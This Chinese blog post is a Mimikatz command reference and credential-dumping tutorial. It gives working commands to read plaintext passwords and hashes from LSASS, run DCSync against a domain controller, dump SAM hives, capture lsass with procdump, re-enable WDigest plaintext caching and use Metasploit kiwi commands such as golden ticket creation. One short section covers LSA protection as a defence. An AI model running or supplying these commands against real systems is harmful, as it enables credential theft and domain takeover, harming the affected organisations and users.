2021-08-19

Mimikatz是一款强大的调试工具,尤其在渗透测试中广泛使用,能读取Windows系统的明文密码。本文详细介绍了Mimikatz的不同模块,如crypto、sekurlsa、kerberos等,并讲解了如何利用sekurlsa、kerberos和lsadump模块抓取明文密码。还涉及到获取高版本Windows系统密码凭证的方法,如使用procdump和mimikatz,以及msf中的kiwi模块。

Mimikatz最全命令详解

简介

Mimikatz是法国人benjamin开发的一款功能强大的轻量级调试工具,本意是用来个人测试,但由于其功能强大,能够直接读取WindowsXP-2012等操作系统的明文密码而闻名于渗透测试,可以说是渗透必备工具。

Mimikatz命令

1exit退出mimikatz
2cls清除屏幕(不用于重定向,如PsExec)
3answer生命、宇宙和一切的终极问题的答案
4coffee请给我煮杯咖啡!
5sleep休眠毫秒数
6loglog模拟文件的输入/输出
7base64切换文件输入/输出base64
8version显示版本信息
9cd更改或显示当前目录
10localtime显示系统本地日期和时间(OJ命令)
11hostname显示系统本地主机名

模块

standard: 标准模块[基本命令(不需要模块名称)]

crypto: 加密模块

1providers列出加密提供者
2stores列出加密存储
3certificates列出(或导出)证书
4keys列出(或导出)密钥容器
5sc列出智能卡读卡器
6hash使用可选用户名哈希密码
7system描述Windows系统证书(文件、TODO
8scauth从CA创建身份验证证书(类似智能卡)
9certtohw尝试将软件CA导出到加密(虚拟)硬件
10capi[实验性]补丁CryptoAPI层,便于导出
11cng[实验性]补丁cng服务,便于导出
12extract[实验性]从CAPI RSA/AES提供程序提取密钥
13kutil
14tpminfo

sekurlsa: Sekur LSA模块[一些用于枚举凭据的命令…

1msv列出LM和NTLM凭据
2wdigest列出wdigest凭据
3kerberos列出kerberos凭据
4tspkg列出tspkg凭据
5livessp列出livessp凭据
6cloudap列出cloudap凭据
7ssp列出ssp凭据
8logonPasswords列出所有可用的提供商凭据
9process切换(或重新输入)到LSASS流程上下文
10minidump切换(或重新输入)到LSASS minidump上下文
11bootkey设置SecureKernel引导密钥以尝试解密LSA隔离凭据
12pth传递散列
13krbtgtkrbtgt!
14dpapisystemDPAPI_系统机密
15trust反社会
16backupkeys首选备份主密钥
17tickets列出Kerberos票证
18ekeys列出Kerberos加密密钥
19dpapi列出缓存的主密钥
20credman列表凭据管理器

kerberos: Kerberos协议包模块

1ptt传票[NT 6]
2list列表票证
3ask询问或获取TGS门票
4tgt检索当前tgt
5purge清除票据
6golden
7hash将密码哈希到密钥
8ptc通过ccache考试[NT6]
9clist在MIT/Heimdall ccache中列出门票

ngc: 下一代加密模块(仅限kiwi使用)[一些用于枚举凭据的命令…]

1logondata登录数据
2pin尝试解密pin保护器
3sign尝试签名
4decrypt尝试解密
5enum枚举

privilege: 特权模块

1debug询问调试权限
2driver请求加载驱动程序权限
3security请求安全特权
4tcb请求tcb特权
5backup请求备份权限
6restore请求还原权限
7sysenv询问系统环境权限
8id通过其id请求特权
9name通过名称请求特权

process: 进程模块

1list列表过程
2exports列出导出
3imports列出导入
4start开始一个过程
5stop终止进程
6suspend挂起进程
7resume恢复进程
8run运行
9runp

service: 服务模块

1start启动服务
2remove移除服务
3stop停止服务
4suspend暂停服务
5resume恢复服务
6preshutdown预停机服务
7shutdown关机服务
8list列表服务
9+InstallMe!
10-InstallMe!
11meMe!

lsadump: Lsa转储模块

1sam获取系统密钥以解密sam条目(来自注册表或配置单元)
2secrets获取系统密钥以解密机密项(来自注册表或配置单元)
3cache获取系统密钥以解密NL$KM,然后是MSCache(v2)(从注册表或配置单元)
4lsa要求lsa服务器检索SAM/AD条目(正常、动态补丁或注入)
5trust要求LSA服务器检索信任验证信息(正常或动态补丁)
6backupkeys备份键
7rpdatarpdata
8dcsync要求DC同步对象
9dcshadow他们告诉我我可以成为任何我想要的人,所以我成为了一名域控制器
10setntlm要求服务器为一个用户设置新密码/ntlm
11changentlm要求服务器为一个用户设置新密码/ntlm
12netsync要求DC发送DC/SRV/WKS的当前和以前的NTLM哈希
13packages
14mbc
15zerologon
16postzerologon

ts: 终端服务器模块

1multirdp[实验性]修补终端服务器服务,允许多个用户
2sessions会话
3remote远程
4logonpasswords[实验性]尝试从正在运行的会话中获取密码
5mstsc[实验性]尝试从mstsc进程获取密码

event: 事件模块

1drop[实验性]修补程序事件服务以避免新事件
2clear清除事件日志

misc: 杂项模块

1cmd命令提示符(不带DisableCMD)
2regedit注册表编辑器(不带禁用注册表工具)
3taskmgr任务管理器(不带禁用taskmgr)
4ncroutemonJUniter网络连接(无路由监视)
5detours[实验性]尝试使用迂回方式(如挂钩)枚举所有模块
6memssp
7skeleton
8compress
9lock
10wp
11mflt
12easyntlmchall
13clip
14xor
15aadcookie
16ngcsign
17spooler
18efs
19printnightmare
20sccm
21shadowcopies

token: 令牌操作模块

1whoami显示当前标识
2list列出系统的所有令牌
3elevate模拟令牌
4run运行
5revert还原到进程令牌

vault: Windows Vault/凭证模块

1list列表
2credcred

minesweeper: MineSweeper module

1infos信息

net: net模块

1user用户
2group
3alias别名
4session会话
5wsession
6tod
7stats统计数据
8share
9serverinfo服务器信息
10trust信任
11deleg
12if

dpapi: DPAPI模块(通过API或原始访问)[数据保护应用程序编程接口]

1blob描述DPAPI blob,使用API或Masterkey取消对其的保护
2protect通过DPAPI调用保护数据
3masterkey描述主密钥文件,取消对每个主密钥的保护(取决于密钥)
4credhist描述credhist文件
5create从原始密钥和元数据创建主密钥文件
6capicapi密钥测试
7cngcng键测试
8tpmtpm密钥测试
9credcred测试
10vault拱顶试验
11wifiwifi测试
12wwanwwan测试
13chrome铬试验
14sshssh代理注册表缓存
15rdgrdg保存的密码
16psPowerShell凭据(PSCredentials或SecureString)
17luna安全网LunaHSM KSP
18cloudapkd
19cloudapreg
20sccm
21cache

busylight: BusyLight Module

1list列表
2status状态
3single最高级
4off
5test测试

sysenv: 系统环境值模块

1list列表
2get获取
3set设置
4del删除

sid: 安全标识符模块

1lookup名称或SID查找
2query根据SID或名称查询对象
3modify修改对象的SID
4add添加一个SID到一个对象的sIDHistory
5clear清除对象的sIDHistory
6patch补丁NTDS服务

iis: IIS XML 配置模块

1apphost应用主机

rpc: RPC控制或模拟

1server服务器
2connect连接
3close关闭
4enum枚举

sr98: 用于SR98设备和T5577目标的RF模块

1beep
2raw
3b0
4list列表
5hid隐藏
6em4100
7noralsy
8nedap

rdm: RDM(830AL)器件的射频模块

1version版本
2list列表

acr: ACR模块

1open开放
2close关闭
3firmware固件
4info信息

抓取明文密码

	1. sekurlsa模块
	2. kerberos模块
	3. lsadump模块
	4. WDigest
	5. LSA保护

获取高版本Windows系统的密码凭证

	1. msf中kiwi模块
	2. kiwi模块使用
	3. kiwi模块命令
	4. creds_all
	5. kiwi_cmd

privilege::debug 提升权限,进入调试模式
'mimikatz许多功能都需要管理员权限,如果不是管理员权限不能debug

抓取明文密码

在windows2012以上的系统不能直接获取明文密码了,当可以搭配procdump+mimikatz获取密码。

1. mimikatz #log
2. mimikatz # privilege::debug
3. Privilege '20' OK *提升特权成功
4. mimikatz #sekurlsa::logonpasswords

msv:这项是账户对于的密码的各种加密协议的密文,可以看到有LM、NTLM和SHA1加密的密文

tspkg,wdigest,kerberos:这个就是账户对于的明文密码了。有的时候这三个对于的也不是全部都是一样的,需要看服务器是什么角色。

SSP:是最新登陆到其他RDP终端的账户和密码

抓取明文用到的模块

sekurlsa模块
	1. sekurlsa::logonpasswords
	抓取用户NTLM哈希
	2. sekurlsa::msv
	加载dmp文件,并导出其中的明文密码
	3. sekurlsa::minidump lsass.dmp
	4. sekurlsa::logonpasswords full
	导出lsass.exe进程中所有的票据
	5. sekurlsa::tickets /export
kerberos模块
	1. 列出系统中的票据
	1. kerberos::list
	1. kerberos::tgt
	1. 
	1. 清除系统中的票据
	1. kerberos::purge
	1. 
	1. 导入票据到系统中
	1. kerberos::ptc 票据路径
lsadump模块

在域控上执行)查看域kevin.com内指定用户root的详细信息,包括NTLM哈希等

1. lsadump::dcsync /domain:kevin.com /user:root
1. 
1. (在域控上执行)读取所有域用户的哈希
1. lsadump::lsa /patch
1. 
1. 从sam.hive和system.hive文件中获得NTLM Hash
1. lsadump::sam /sam:sam.hive /system:system.hive
1. 
1. 从本地SAM文件中读取密码哈希
1. token::elevate
1. lsadump::sam
WDigest

WDigest协议是在WindowsXP中被引入的,旨在与HTTP协议一起用于身份认证。默认情况下,Microsoft在多个版本的Windows(Windows XP-Windows 8.0和Windows Server 2003-Windows Server 2012)中启用了此协议,这意味着纯文本密码存储在LSASS(本地安全授权子系统服务)进程中。 Mimikatz可以与LSASS交互,允许攻击者通过以下命令检索这些凭据

1. mimikatz #privilege::debug
2. mimikatz #sekurlsa::wdigest

在windows2012系统以及以上的系统之后这个默认是关闭的如果在 win2008 之前的系统上打了 KB2871997 补丁,那么就可以去启用或者禁用 WDigest。Windows Server2012及以上版本默认关闭Wdigest,使攻击者无法从内存中获取明文密码。Windows Server2012以下版本,如果安装了KB2871997补丁,攻击者同样无法获取明文密码。配置如下键值:

1. HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\WDigest

UseLogonCredential 值设置为 0, WDigest 不把凭证缓存在内存;UseLogonCredential 值设置为 1, WDigest 就把凭证缓存在内存。

使用powershell进行更改

1. 开启Wdigest Auth
2. Set-ItemProperty -Path HKLM:\SYSTEM\CurrentCzontrolSet\Control\SecurityProviders\WDigest -Name UseLogonCredential -Type DWORD -Value 1
3. 关闭Wdigest Auth
4. Set-ItemProperty -Path HKLM:\SYSTEM\CurrentCzontrolSet\Control\SecurityProvid
LSA保护

如何防止mimikatz获取一些加密的密文进行PTH攻击呢!其实微软推出的补丁KB2871997是专门针对PTH攻击的补丁,但是如果PID为500的话,还是可以进行PTH攻击的!本地安全权限服务(LSASS)验证用户是否进行本地和远程登录,并实施本地安全策略。 Windows 8.1及更高版本的系统中,Microsoft为LSA提供了额外的保护,以防止不受信任的进程读取内存或代码注入。Windows 8.1之前的系统,攻击者可以执行Mimikatz命令来与LSA交互并检索存储在LSA内存中的明文密码。

这条命令修改键的值为1,即使获取了debug权限吗,也不能直接获取明文密码和hash

1. reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA /v RunAsPPL /t REG_DWORD /d 1 /f

当权限够高时也可以修改,将值修改为0,但是需要重启服务器或注销

1. reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA /v RunAsPPL /t REG_DWORD /d 0 /f

获取高版本Windows系统的密码凭证

使用procdump将lsass dump下来(需要管理员权限)

下载地址:https://docs.microsoft.com/en-us/sysinternals/downloads/procdump

procdump.exe -accepteula -ma lsass.exe 1.dmp

使用mimikatz读取密码

mimikatz.exe "log" "sekurlsa::minidump 1.dmp" "sekurlsa::logonPasswords full" exit

msf中kiwi模块

注:kiwi默认加载32位,如果目标系统位64位,将进程迁移到64位程序的进程中。

kiwi模块使用

	1. load kiwi //加载kiwi模块
	2. help kiwi //查看帮助

kiwi模块命令

	1. creds_all:列举所有凭据!!
	2. creds_kerberos:列举所有kerberos凭据
	3. creds_msv:列举所有msv凭据
	4. creds_ssp:列举所有ssp凭据
	5. creds_tspkg:列举所有tspkg凭据
	6. creds_wdigest:列举所有wdigest凭据
	7. dcsync:通过DCSync检索用户帐户信息
	8. dcsync_ntlm:通过DCSync检索用户帐户NTLM散列、SID和RID
	9. golden_ticket_create:创建黄金票据
	10. kerberos_ticket_list:列举kerberos票据
	11. kerberos_ticket_purge:清除kerberos票据
	12. kerberos_ticket_use:使用kerberos票据
	13. kiwi_cmd:执行mimikatz的命令,后面接mimikatz.exe的命令
	14. lsa_dump_sam:dump出lsa的SAM
	15. lsa_dump_secrets:dump出lsa的密文
	16. password_change:修改密码
	17. wifi_list:列出当前用户的wifi配置文件
	18. wifi_list_shared:列出共享wifi配置文件/编码

creds_all
列举系统中的明文密码

kiwi_cmd
kiwi_cmd可以使用mimikatz中的所有功能,命令需要接上mimikatz的命令

kikiwi_cmd sekurlsa::logonpasswords

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

byctrl

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值